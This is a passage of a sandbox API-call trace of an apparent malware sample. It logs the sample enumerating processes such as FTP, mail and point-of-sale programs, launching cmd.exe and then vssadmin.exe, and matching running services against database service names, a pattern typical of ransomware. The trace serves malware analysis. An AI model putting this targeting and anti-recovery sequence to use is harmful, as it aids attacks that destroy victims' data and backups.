[0043.219] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0043.220] lstrlenW (lpString="icq.exe") returned 7 [0043.220] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0043.221] lstrlenW (lpString="leechftp.exe") returned 12 [0043.221] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0043.222] lstrlenW (lpString="ncftp.exe") returned 9 [0043.222] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0043.223] lstrlenW (lpString="notepad.exe") returned 11 [0043.223] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0043.224] lstrlenW (lpString="operamail.exe") returned 13 [0043.224] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0043.225] lstrlenW (lpString="pidgin.exe") returned 10 [0043.225] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0043.226] lstrlenW (lpString="scriptftp.exe") returned 13 [0043.226] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0043.227] lstrlenW (lpString="skype.exe") returned 9 [0043.227] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0043.228] lstrlenW (lpString="smartftp.exe") returned 12 [0043.228] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0043.229] lstrlenW (lpString="thunderbird.exe") returned 15 [0043.229] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0043.230] lstrlenW (lpString="totalcmd.exe") returned 12 [0043.230] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0043.231] lstrlenW (lpString="trillian.exe") returned 12 [0043.231] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0043.506] lstrlenW (lpString="webdrive.exe") returned 12 [0043.506] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0043.507] lstrlenW (lpString="whatsapp.exe") returned 12 [0043.507] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0043.508] lstrlenW (lpString="winscp.exe") returned 10 [0043.508] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0043.509] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0043.509] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0043.510] lstrlenW (lpString="active-charge.exe") returned 17 [0043.510] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0043.511] lstrlenW (lpString="accupos.exe") returned 11 [0043.511] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0043.512] lstrlenW (lpString="afr38.exe") returned 9 [0043.512] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0043.513] lstrlenW (lpString="aldelo.exe") returned 10 [0043.513] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0043.514] lstrlenW (lpString="ccv_server.exe") returned 14 [0043.514] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0043.515] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0043.515] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0043.515] lstrlenW (lpString="creditservice.exe") returned 17 [0043.516] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0043.516] lstrlenW (lpString="edcsvr.exe") returned 10 [0043.516] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0043.517] lstrlenW (lpString="fpos.exe") returned 8 [0043.517] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0043.518] lstrlenW (lpString="isspos.exe") returned 10 [0043.518] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0043.519] lstrlenW (lpString="mxslipstream.exe") returned 16 [0043.519] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0043.520] lstrlenW (lpString="omnipos.exe") returned 11 [0043.520] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0043.521] lstrlenW (lpString="spcwin.exe") returned 10 [0043.521] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0043.522] lstrlenW (lpString="spgagentservice.exe") returned 19 [0043.522] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0043.522] lstrlenW (lpString="utg2.exe") returned 8 [0043.523] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0043.523] lstrlenW (lpString="burner.exe") returned 10 [0043.523] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.524] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.524] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.525] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.525] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0043.526] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0043.526] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0043.527] lstrlenW (lpString="cmd.exe") returned 7 [0043.527] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.528] lstrlenW (lpString="conhost.exe") returned 11 [0043.528] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0043.528] lstrlenW (lpString="vssadmin.exe") returned 12 [0043.528] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0043.529] CloseHandle (hObject=0x1bc) returned 1 [0043.529] Sleep (dwMilliseconds=0x1f4) [0044.271] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5a0040 [0044.271] EnumServicesStatusExW (in: hSCManager=0x5a0040, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0044.271] GetLastError () returned 0xea [0044.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13a6) returned 0x37f2700 [0044.272] EnumServicesStatusExW (in: hSCManager=0x5a0040, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37f2700, cbBufSize=0x13a6, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37f2700, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0044.273] CloseServiceHandle (hSCObject=0x5a0040) returned 1 [0044.273] lstrlenW (lpString="Appinfo") returned 7 [0044.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.273] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.273] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.273] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.273] lstrlenW (lpString="AudioSrv") returned 8 [0044.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.273] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.273] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.273] lstrlenW (lpString="BFE") returned 3 [0044.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.273] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.273] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.273] lstrlenW (lpString="CryptSvc") returned 8 [0044.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.274] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.274] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.274] lstrlenW (lpString="CscService") returned 10 [0044.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.274] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.274] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.274] lstrlenW (lpString="DcomLaunch") returned 10 [0044.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.274] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.274] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.274] lstrlenW (lpString="Dhcp") returned 4 [0044.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.274] lstrlenW (lpString="Dnscache") returned 8 [0044.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.274] lstrlenW (lpString="DPS") returned 3 [0044.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.274] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.275] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.275] lstrlenW (lpString="eventlog") returned 8 [0044.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.275] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.275] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.275] lstrlenW (lpString="EventSystem") returned 11 [0044.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.275] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.275] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.275] lstrlenW (lpString="FontCache") returned 9 [0044.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0044.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0044.275] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0044.275] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0044.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0044.275] lstrlenW (lpString="gpsvc") returned 5 [0044.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.275] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.276] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.276] lstrlenW (lpString="iphlpsvc") returned 8 [0044.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.276] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.276] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.276] lstrlenW (lpString="LanmanServer") returned 12 [0044.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.276] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.276] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.276] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.276] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.276] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.276] lstrlenW (lpString="lmhosts") returned 7 [0044.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.276] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.276] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.276] lstrlenW (lpString="MMCSS") returned 5 [0044.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.276] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.276] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.276] lstrlenW (lpString="MpsSvc") returned 6 [0044.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.277] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.277] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.277] lstrlenW (lpString="Netman") returned 6 [0044.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.277] lstrlenW (lpString="netprofm") returned 8 [0044.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.277] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.277] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.277] lstrlenW (lpString="NlaSvc") returned 6 [0044.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.277] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.277] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.277] lstrlenW 